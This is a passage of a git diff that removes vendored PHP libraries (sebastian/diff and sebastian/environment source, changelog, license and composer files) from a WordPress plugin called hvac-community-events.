assertStringOrNull(array $options, string $option): void - { - if (null !== $options[$option] && !is_string($options[$option])) { - throw new ConfigurationException($option, 'a string or ', $options[$option]); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php deleted file mode 100644 index 8aae6450..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php +++ /dev/null @@ -1,272 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff\Output; - -use function array_splice; -use function count; -use function fclose; -use function fopen; -use function fwrite; -use function max; -use function min; -use function stream_get_contents; -use function strlen; -use function substr; -use SebastianBergmann\Diff\Differ; - -/** - * Builds a diff string representation in unified diff format in chunks. - */ -final class UnifiedDiffOutputBuilder extends AbstractChunkOutputBuilder -{ - /** - * @var bool - */ - private $collapseRanges = true; - - /** - * @var int >= 0 - */ - private $commonLineThreshold = 6; - - /** - * @var int >= 0 - */ - private $contextLines = 3; - - /** - * @var string - */ - private $header; - - /** - * @var bool - */ - private $addLineNumbers; - - public function __construct(string $header = "--- Original\n+++ New\n", bool $addLineNumbers = false) - { - $this->header = $header; - $this->addLineNumbers = $addLineNumbers; - } - - public function getDiff(array $diff): string - { - $buffer = fopen('php://memory', 'r+b'); - - if ('' !== $this->header) { - fwrite($buffer, $this->header); - - if ("\n" !== substr($this->header, -1, 1)) { - fwrite($buffer, "\n"); - } - } - - if (0 !== count($diff)) { - $this->writeDiffHunks($buffer, $diff); - } - - $diff = stream_get_contents($buffer, -1, 0); - - fclose($buffer); - - // If the diff is non-empty and last char is not a linebreak: add it. - // This might happen when both the `from` and `to` do not have a trailing linebreak - $last = substr($diff, -1); - - return 0 !== strlen($diff) && "\n" !== $last && "\r" !== $last - ? $diff . "\n" - : $diff; - } - - private function writeDiffHunks($output, array $diff): void - { - // detect "No newline at end of file" and insert into `$diff` if needed - - $upperLimit = count($diff); - - if (0 === $diff[$upperLimit - 1][1]) { - $lc = substr($diff[$upperLimit - 1][0], -1); - - if ("\n" !== $lc) { - array_splice($diff, $upperLimit, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); - } - } else { - // search back for the last `+` and `-` line, - // check if has trailing linebreak, else add under it warning under it - $toFind = [1 => true, 2 => true]; - - for ($i = $upperLimit - 1; $i >= 0; --$i) { - if (isset($toFind[$diff[$i][1]])) { - unset($toFind[$diff[$i][1]]); - $lc = substr($diff[$i][0], -1); - - if ("\n" !== $lc) { - array_splice($diff, $i + 1, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); - } - - if (!count($toFind)) { - break; - } - } - } - } - - // write hunks to output buffer - - $cutOff = max($this->commonLineThreshold, $this->contextLines); - $hunkCapture = false; - $sameCount = $toRange = $fromRange = 0; - $toStart = $fromStart = 1; - $i = 0; - - /** @var int $i */ - foreach ($diff as $i => $entry) { - if (0 === $entry[1]) { // same - if (false === $hunkCapture) { - ++$fromStart; - ++$toStart; - - continue; - } - - ++$sameCount; - ++$toRange; - ++$fromRange; - - if ($sameCount === $cutOff) { - $contextStartOffset = ($hunkCapture - $this->contextLines) < 0 - ? $hunkCapture - : $this->contextLines; - - // note: $contextEndOffset = $this->contextLines; - // - // because we never go beyond the end of the diff. - // with the cutoff/contextlines here the follow is never true; - // - // if ($i - $cutOff + $this->contextLines + 1 > \count($diff)) { - // $contextEndOffset = count($diff) - 1; - // } - // - // ; that would be true for a trailing incomplete hunk case which is dealt with after this loop - - $this->writeHunk( - $diff, - $hunkCapture - $contextStartOffset, - $i - $cutOff + $this->contextLines + 1, - $fromStart - $contextStartOffset, - $fromRange - $cutOff + $contextStartOffset + $this->contextLines, - $toStart - $contextStartOffset, - $toRange - $cutOff + $contextStartOffset + $this->contextLines, - $output - ); - - $fromStart += $fromRange; - $toStart += $toRange; - - $hunkCapture = false; - $sameCount = $toRange = $fromRange = 0; - } - - continue; - } - - $sameCount = 0; - - if ($entry[1] === Differ::NO_LINE_END_EOF_WARNING) { - continue; - } - - if (false === $hunkCapture) { - $hunkCapture = $i; - } - - if (Differ::ADDED === $entry[1]) { - ++$toRange; - } - - if (Differ::REMOVED === $entry[1]) { - ++$fromRange; - } - } - - if (false === $hunkCapture) { - return; - } - - // we end here when cutoff (commonLineThreshold) was not reached, but we where capturing a hunk, - // do not render hunk till end automatically because the number of context lines might be less than the commonLineThreshold - - $contextStartOffset = $hunkCapture - $this->contextLines < 0 - ? $hunkCapture - : $this->contextLines; - - // prevent trying to write out more common lines than there are in the diff _and_ - // do not write more than configured through the context lines - $contextEndOffset = min($sameCount, $this->contextLines); - - $fromRange -= $sameCount; - $toRange -= $sameCount; - - $this->writeHunk( - $diff, - $hunkCapture - $contextStartOffset, - $i - $sameCount + $contextEndOffset + 1, - $fromStart - $contextStartOffset, - $fromRange + $contextStartOffset + $contextEndOffset, - $toStart - $contextStartOffset, - $toRange + $contextStartOffset + $contextEndOffset, - $output - ); - } - - private function writeHunk( - array $diff, - int $diffStartIndex, - int $diffEndIndex, - int $fromStart, - int $fromRange, - int $toStart, - int $toRange, - $output - ): void { - if ($this->addLineNumbers) { - fwrite($output, '@@ -' . $fromStart); - - if (!$this->collapseRanges || 1 !== $fromRange) { - fwrite($output, ',' . $fromRange); - } - - fwrite($output, ' +' . $toStart); - - if (!$this->collapseRanges || 1 !== $toRange) { - fwrite($output, ',' . $toRange); - } - - fwrite($output, " @@\n"); - } else { - fwrite($output, "@@ @@\n"); - } - - for ($i = $diffStartIndex; $i < $diffEndIndex; ++$i) { - if ($diff[$i][1] === Differ::ADDED) { - fwrite($output, '+' . $diff[$i][0]); - } elseif ($diff[$i][1] === Differ::REMOVED) { - fwrite($output, '-' . $diff[$i][0]); - } elseif ($diff[$i][1] === Differ::OLD) { - fwrite($output, ' ' . $diff[$i][0]); - } elseif ($diff[$i][1] === Differ::NO_LINE_END_EOF_WARNING) { - fwrite($output, "\n"); // $diff[$i][0] - } else { /* Not changed (old) Differ::OLD or Warning Differ::DIFF_LINE_END_WARNING */ - fwrite($output, ' ' . $diff[$i][0]); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Parser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Parser.php deleted file mode 100644 index cc9e3887..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Parser.php +++ /dev/null @@ -1,110 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -use function array_pop; -use function count; -use function max; -use function preg_match; -use function preg_split; - -/** - * Unified diff parser. - */ -final class Parser -{ - /** - * @return Diff[] - */ - public function parse(string $string): array - { - $lines = preg_split('(\r\n|\r|\n)', $string); - - if (!empty($lines) && $lines[count($lines) - 1] === '') { - array_pop($lines); - } - - $lineCount = count($lines); - $diffs = []; - $diff = null; - $collected = []; - - for ($i = 0; $i < $lineCount; ++$i) { - if (preg_match('#^---\h+"?(?P[^\\v\\t"]+)#', $lines[$i], $fromMatch) && - preg_match('#^\\+\\+\\+\\h+"?(?P[^\\v\\t"]+)#', $lines[$i + 1], $toMatch)) { - if ($diff !== null) { - $this->parseFileDiff($diff, $collected); - - $diffs[] = $diff; - $collected = []; - } - - $diff = new Diff($fromMatch['file'], $toMatch['file']); - - ++$i; - } else { - if (preg_match('/^(?:diff --git |index [\da-f\.]+|[+-]{3} [ab])/', $lines[$i])) { - continue; - } - - $collected[] = $lines[$i]; - } - } - - if ($diff !== null && count($collected)) { - $this->parseFileDiff($diff, $collected); - - $diffs[] = $diff; - } - - return $diffs; - } - - private function parseFileDiff(Diff $diff, array $lines): void - { - $chunks = []; - $chunk = null; - $diffLines = []; - - foreach ($lines as $line) { - if (preg_match('/^@@\s+-(?P\d+)(?:,\s*(?P\d+))?\s+\+(?P\d+)(?:,\s*(?P\d+))?\s+@@/', $line, $match)) { - $chunk = new Chunk( - (int) $match['start'], - isset($match['startrange']) ? max(1, (int) $match['startrange']) : 1, - (int) $match['end'], - isset($match['endrange']) ? max(1, (int) $match['endrange']) : 1 - ); - - $chunks[] = $chunk; - $diffLines = []; - - continue; - } - - if (preg_match('/^(?P[+ -])?(?P.*)/', $line, $match)) { - $type = Line::UNCHANGED; - - if ($match['type'] === '+') { - $type = Line::ADDED; - } elseif ($match['type'] === '-') { - $type = Line::REMOVED; - } - - $diffLines[] = new Line($type, $match['line']); - - if (null !== $chunk) { - $chunk->setLines($diffLines); - } - } - } - - $diff->setChunks($chunks); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php deleted file mode 100644 index 4e8d951d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php +++ /dev/null @@ -1,82 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -use function array_reverse; -use function count; -use function max; -use SplFixedArray; - -final class TimeEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator -{ - /** - * {@inheritdoc} - */ - public function calculate(array $from, array $to): array - { - $common = []; - $fromLength = count($from); - $toLength = count($to); - $width = $fromLength + 1; - $matrix = new SplFixedArray($width * ($toLength + 1)); - - for ($i = 0; $i <= $fromLength; ++$i) { - $matrix[$i] = 0; - } - - for ($j = 0; $j <= $toLength; ++$j) { - $matrix[$j * $width] = 0; - } - - for ($i = 1; $i <= $fromLength; ++$i) { - for ($j = 1; $j <= $toLength; ++$j) { - $o = ($j * $width) + $i; - - // don't use max() to avoid function call overhead - $firstOrLast = $from[$i - 1] === $to[$j - 1] ? $matrix[$o - $width - 1] + 1 : 0; - - if ($matrix[$o - 1] > $matrix[$o - $width]) { - if ($firstOrLast > $matrix[$o - 1]) { - $matrix[$o] = $firstOrLast; - } else { - $matrix[$o] = $matrix[$o - 1]; - } - } else { - if ($firstOrLast > $matrix[$o - $width]) { - $matrix[$o] = $firstOrLast; - } else { - $matrix[$o] = $matrix[$o - $width]; - } - } - } - } - - $i = $fromLength; - $j = $toLength; - - while ($i > 0 && $j > 0) { - if ($from[$i - 1] === $to[$j - 1]) { - $common[] = $from[$i - 1]; - --$i; - --$j; - } else { - $o = ($j * $width) + $i; - - if ($matrix[$o - $width] > $matrix[$o - 1]) { - --$j; - } else { - --$i; - } - } - } - - return array_reverse($common); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/ChangeLog.md deleted file mode 100644 index 07365951..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/ChangeLog.md +++ /dev/null @@ -1,183 +0,0 @@ -# Changes in sebastianbergmann/environment - -All notable changes in `sebastianbergmann/environment` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [5.1.5] - 2023-02-03 - -### Fixed - -* [#59](https://github.com/sebastianbergmann/environment/issues/59): Wrong usage of `stream_isatty()`, `fstat()` used without checking whether the function is available - -## [5.1.4] - 2022-04-03 - -### Fixed - -* [#63](https://github.com/sebastianbergmann/environment/pull/63): `Runtime::getCurrentSettings()` does not correctly process INI settings - -## [5.1.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [5.1.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [5.1.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [5.1.0] - 2020-04-14 - -### Added - -* `Runtime::performsJustInTimeCompilation()` returns `true` if PHP 8's JIT is active, `false` otherwise - -## [5.0.2] - 2020-03-31 - -### Fixed - -* [#55](https://github.com/sebastianbergmann/environment/issues/55): `stty` command is executed even if no tty is available - -## [5.0.1] - 2020-02-19 - -### Changed - -* `Runtime::getNameWithVersionAndCodeCoverageDriver()` now prioritizes PCOV over Xdebug when both extensions are loaded (just like php-code-coverage does) - -## [5.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.1 and PHP 7.2 - -## [4.2.3] - 2019-11-20 - -### Changed - -* [#50](https://github.com/sebastianbergmann/environment/pull/50): Windows improvements to console capabilities - -### Fixed - -* [#49](https://github.com/sebastianbergmann/environment/issues/49): Detection how OpCache handles docblocks does not work correctly when PHPDBG is used - -## [4.2.2] - 2019-05-05 - -### Fixed - -* [#44](https://github.com/sebastianbergmann/environment/pull/44): `TypeError` in `Console::getNumberOfColumnsInteractive()` - -## [4.2.1] - 2019-04-25 - -### Fixed - -* Fixed an issue in `Runtime::getCurrentSettings()` - -## [4.2.0] - 2019-04-25 - -### Added - -* [#36](https://github.com/sebastianbergmann/environment/pull/36): `Runtime::getCurrentSettings()` - -## [4.1.0] - 2019-02-01 - -### Added - -* Implemented `Runtime::getNameWithVersionAndCodeCoverageDriver()` method -* [#34](https://github.com/sebastianbergmann/environment/pull/34): Support for PCOV extension - -## [4.0.2] - 2019-01-28 - -### Fixed - -* [#33](https://github.com/sebastianbergmann/environment/issues/33): `Runtime::discardsComments()` returns true too eagerly - -### Removed - -* Removed support for Zend Optimizer+ in `Runtime::discardsComments()` - -## [4.0.1] - 2018-11-25 - -### Fixed - -* [#31](https://github.com/sebastianbergmann/environment/issues/31): Regressions in `Console` class - -## [4.0.0] - 2018-10-23 [YANKED] - -### Fixed - -* [#25](https://github.com/sebastianbergmann/environment/pull/25): `Console::hasColorSupport()` does not work on Windows - -### Removed - -* This component is no longer supported on PHP 7.0 - -## [3.1.0] - 2017-07-01 - -### Added - -* [#21](https://github.com/sebastianbergmann/environment/issues/21): Equivalent of `PHP_OS_FAMILY` (for PHP < 7.2) - -## [3.0.4] - 2017-06-20 - -### Fixed - -* [#20](https://github.com/sebastianbergmann/environment/pull/20): PHP 7 mode of HHVM not forced - -## [3.0.3] - 2017-05-18 - -### Fixed - -* [#18](https://github.com/sebastianbergmann/environment/issues/18): `Uncaught TypeError: preg_match() expects parameter 2 to be string, null given` - -## [3.0.2] - 2017-04-21 - -### Fixed - -* [#17](https://github.com/sebastianbergmann/environment/issues/17): `Uncaught TypeError: trim() expects parameter 1 to be string, boolean given` - -## [3.0.1] - 2017-04-21 - -### Fixed - -* Fixed inverted logic in `Runtime::discardsComments()` - -## [3.0.0] - 2017-04-21 - -### Added - -* Implemented `Runtime::discardsComments()` for querying whether the PHP runtime discards annotations - -### Removed - -* This component is no longer supported on PHP 5.6 - -[5.1.5]: https://github.com/sebastianbergmann/environment/compare/5.1.4...5.1.5 -[5.1.4]: https://github.com/sebastianbergmann/environment/compare/5.1.3...5.1.4 -[5.1.3]: https://github.com/sebastianbergmann/environment/compare/5.1.2...5.1.3 -[5.1.2]: https://github.com/sebastianbergmann/environment/compare/5.1.1...5.1.2 -[5.1.1]: https://github.com/sebastianbergmann/environment/compare/5.1.0...5.1.1 -[5.1.0]: https://github.com/sebastianbergmann/environment/compare/5.0.2...5.1.0 -[5.0.2]: https://github.com/sebastianbergmann/environment/compare/5.0.1...5.0.2 -[5.0.1]: https://github.com/sebastianbergmann/environment/compare/5.0.0...5.0.1 -[5.0.0]: https://github.com/sebastianbergmann/environment/compare/4.2.3...5.0.0 -[4.2.3]: https://github.com/sebastianbergmann/environment/compare/4.2.2...4.2.3 -[4.2.2]: https://github.com/sebastianbergmann/environment/compare/4.2.1...4.2.2 -[4.2.1]: https://github.com/sebastianbergmann/environment/compare/4.2.0...4.2.1 -[4.2.0]: https://github.com/sebastianbergmann/environment/compare/4.1.0...4.2.0 -[4.1.0]: https://github.com/sebastianbergmann/environment/compare/4.0.2...4.1.0 -[4.0.2]: https://github.com/sebastianbergmann/environment/compare/4.0.1...4.0.2 -[4.0.1]: https://github.com/sebastianbergmann/environment/compare/66691f8e2dc4641909166b275a9a4f45c0e89092...4.0.1 -[4.0.0]: https://github.com/sebastianbergmann/environment/compare/3.1.0...66691f8e2dc4641909166b275a9a4f45c0e89092 -[3.1.0]: https://github.com/sebastianbergmann/environment/compare/3.0...3.1.0 -[3.0.4]: https://github.com/sebastianbergmann/environment/compare/3.0.3...3.0.4 -[3.0.3]: https://github.com/sebastianbergmann/environment/compare/3.0.2...3.0.3 -[3.0.2]: https://github.com/sebastianbergmann/environment/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/environment/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/environment/compare/2.0...3.0.0 - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/LICENSE deleted file mode 100644 index 42546339..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/environment - -Copyright (c) 2014-2022, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/README.md deleted file mode 100644 index 1fead13e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# sebastian/environment - -[![Latest Stable Version](https://img.shields.io/packagist/v/sebastian/environment.svg?style=flat-square)](https://packagist.org/packages/sebastian/environment) -[![CI Status](https://github.com/sebastianbergmann/environment/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/environment/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/environment/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/environment) - -This component provides functionality that helps writing PHP code that has runtime-specific (PHP / HHVM) execution paths. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/environment -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/environment -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/composer.json deleted file mode 100644 index d50dcfd7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/composer.json +++ /dev/null @@ -1,40 +0,0 @@ -{ - "name": "sebastian/environment", - "description": "Provides functionality to handle HHVM/PHP environments", - "keywords": ["environment","hhvm","xdebug"], - "homepage": "http://www.github.com/sebastianbergmann/environment", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-posix": "*" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "5.1-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Console.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Console.php deleted file mode 100644 index 180eb60b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Console.php +++ /dev/null @@ -1,187 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Environment; - -use const DIRECTORY_SEPARATOR; -use const STDIN; -use const STDOUT; -use function defined; -use function fclose; -use function fstat; -use function function_exists; -use function getenv; -use function is_resource; -use function is_string; -use function posix_isatty; -use function preg_match; -use function proc_close; -use function proc_open; -use function sapi_windows_vt100_support; -use function shell_exec; -use function stream_get_contents; -use function stream_isatty; -use function trim; - -final class Console -{ - /** - * @var int - */ - public const STDIN = 0; - - /** - * @var int - */ - public const STDOUT = 1; - - /** - * @var int - */ - public const STDERR = 2; - - /** - * Returns true if STDOUT supports colorization. - * - * This code has been copied and adapted from - * Symfony\Component\Console\Output\StreamOutput. - */ - public function hasColorSupport(): bool - { - if ('Hyper' === getenv('TERM_PROGRAM')) { - return true; - } - - if ($this->isWindows()) { - // @codeCoverageIgnoreStart - return (defined('STDOUT') && function_exists('sapi_windows_vt100_support') && @sapi_windows_vt100_support(STDOUT)) || - false !== getenv('ANSICON') || - 'ON' === getenv('ConEmuANSI') || - 'xterm' === getenv('TERM'); - // @codeCoverageIgnoreEnd - } - - if (!defined('STDOUT')) { - // @codeCoverageIgnoreStart - return false; - // @codeCoverageIgnoreEnd - } - - return $this->isInteractive(STDOUT); - } - - /** - * Returns the number of columns of the terminal. - * - * @codeCoverageIgnore - */ - public function getNumberOfColumns(): int - { - if (!$this->isInteractive(defined('STDIN') ? STDIN : self::STDIN)) { - return 80; - } - - if ($this->isWindows()) { - return $this->getNumberOfColumnsWindows(); - } - - return $this->getNumberOfColumnsInteractive(); - } - - /** - * Returns if the file descriptor is an interactive terminal or not. - * - * Normally, we want to use a resource as a parameter, yet sadly it's not always awailable, - * eg when running code in interactive console (`php -a`), STDIN/STDOUT/STDERR constants are not defined. - * - * @param int|resource $fileDescriptor - */ - public function isInteractive($fileDescriptor = self::STDOUT): bool - { - if (is_resource($fileDescriptor)) { - if (function_exists('stream_isatty') && @stream_isatty($fileDescriptor)) { - return true; - } - - if (function_exists('fstat')) { - $stat = @fstat(STDOUT); - - return $stat && 0020000 === ($stat['mode'] & 0170000); - } - - return false; - } - - return function_exists('posix_isatty') && @posix_isatty($fileDescriptor); - } - - private function isWindows(): bool - { - return DIRECTORY_SEPARATOR === '\\'; - } - - /** - * @codeCoverageIgnore - */ - private function getNumberOfColumnsInteractive(): int - { - if (function_exists('shell_exec') && preg_match('#\d+ (\d+)#', shell_exec('stty size') ?: '', $match) === 1) { - if ((int) $match[1] > 0) { - return (int) $match[1]; - } - } - - if (function_exists('shell_exec') && preg_match('#columns = (\d+);#', shell_exec('stty') ?: '', $match) === 1) { - if ((int) $match[1] > 0) { - return (int) $match[1]; - } - } - - return 80; - } - - /** - * @codeCoverageIgnore - */ - private function getNumberOfColumnsWindows(): int - { - $ansicon = getenv('ANSICON'); - $columns = 80; - - if (is_string($ansicon) && preg_match('/^(\d+)x\d+ \(\d+x(\d+)\)$/', trim($ansicon), $matches)) { - $columns = (int) $matches[1]; - } elseif (function_exists('proc_open')) { - $process = proc_open( - 'mode CON', - [ - 1 => ['pipe', 'w'], - 2 => ['pipe', 'w'], - ], - $pipes, - null, - null, - ['suppress_errors' => true] - ); - - if (is_resource($process)) { - $info = stream_get_contents($pipes[1]); - - fclose($pipes[1]); - fclose($pipes[2]); - proc_close($process); - - if (preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { - $columns = (int) $matches[2]; - } - } - } - - return $columns - 1; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/OperatingSystem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/OperatingSystem.php deleted file mode 100644 index 1f3ebca7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/OperatingSystem.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Environment; - -use const DIRECTORY_SEPARATOR; -use const PHP_OS; -use const PHP_OS_FAMILY; -use function defined; - -final class OperatingSystem -{ - /** - * Returns PHP_OS_FAMILY (if defined (which it is on PHP >= 7.2)). - * Returns a string (compatible with PHP_OS_FAMILY) derived from PHP_OS otherwise. - */ - public function getFamily(): string - { - if (defined('PHP_OS_FAMILY')) { - return PHP_OS_FAMILY; - } - - if (DIRECTORY_SEPARATOR === '\\') { - return 'Windows'; - } - - switch (PHP_OS) { - case 'Darwin': - return 'Darwin'; - - case 'DragonFly': - case 'FreeBSD': - case 'NetBSD': - case 'OpenBSD': - return 'BSD'; - - case 'Linux': - return 'Linux'; - - case 'SunOS': - return 'Solaris'; - - default: - return 'Unknown'; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Runtime.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Runtime.php deleted file mode 100644 index d1b92d62..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Runtime.php +++ /dev/null @@ -1,321 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Environment; - -use const PHP_BINARY; -use const PHP_BINDIR; -use const PHP_MAJOR_VERSION; -use const PHP_SAPI; -use const PHP_VERSION; -use function array_map; -use function array_merge; -use function defined; -use function escapeshellarg; -use function explode; -use function extension_loaded; -use function getenv; -use function ini_get; -use function is_readable; -use function parse_ini_file; -use function php_ini_loaded_file; -use function php_ini_scanned_files; -use function phpversion; -use function sprintf; -use function strpos; - -/** - * Utility class for HHVM/PHP environment handling. - */ -final class Runtime -{ - /** - * @var string - */ - private static $binary; - - /** - * Returns true when Xdebug or PCOV is available or - * the runtime used is PHPDBG. - */ - public function canCollectCodeCoverage(): bool - { - return $this->hasXdebug() || $this->hasPCOV() || $this->hasPHPDBGCodeCoverage(); - } - - /** - * Returns true when Zend OPcache is loaded, enabled, - * and is configured to discard comments. - */ - public function discardsComments(): bool - { - if (!$this->isOpcacheActive()) { - return false; - } - - if (ini_get('opcache.save_comments') !== '0') { - return false; - } - - return true; - } - - /** - * Returns true when Zend OPcache is loaded, enabled, - * and is configured to perform just-in-time compilation. - */ - public function performsJustInTimeCompilation(): bool - { - if (PHP_MAJOR_VERSION < 8) { - return false; - } - - if (!$this->isOpcacheActive()) { - return false; - } - - if (strpos(ini_get('opcache.jit'), '0') === 0) { - return false; - } - - return true; - } - - /** - * Returns the path to the binary of the current runtime. - * Appends ' --php' to the path when the runtime is HHVM. - */ - public function getBinary(): string - { - // HHVM - if (self::$binary === null && $this->isHHVM()) { - // @codeCoverageIgnoreStart - if ((self::$binary = getenv('PHP_BINARY')) === false) { - self::$binary = PHP_BINARY; - } - - self::$binary = escapeshellarg(self::$binary) . ' --php' . - ' -d hhvm.php7.all=1'; - // @codeCoverageIgnoreEnd - } - - if (self::$binary === null && PHP_BINARY !== '') { - self::$binary = escapeshellarg(PHP_BINARY); - } - - if (self::$binary === null) { - // @codeCoverageIgnoreStart - $possibleBinaryLocations = [ - PHP_BINDIR . '/php', - PHP_BINDIR . '/php-cli.exe', - PHP_BINDIR . '/php.exe', - ]; - - foreach ($possibleBinaryLocations as $binary) { - if (is_readable($binary)) { - self::$binary = escapeshellarg($binary); - - break; - } - } - // @codeCoverageIgnoreEnd - } - - if (self::$binary === null) { - // @codeCoverageIgnoreStart - self::$binary = 'php'; - // @codeCoverageIgnoreEnd - } - - return self::$binary; - } - - public function getNameWithVersion(): string - { - return $this->getName() . ' ' . $this->getVersion(); - } - - public function getNameWithVersionAndCodeCoverageDriver(): string - { - if (!$this->canCollectCodeCoverage() || $this->hasPHPDBGCodeCoverage()) { - return $this->getNameWithVersion(); - } - - if ($this->hasPCOV()) { - return sprintf( - '%s with PCOV %s', - $this->getNameWithVersion(), - phpversion('pcov') - ); - } - - if ($this->hasXdebug()) { - return 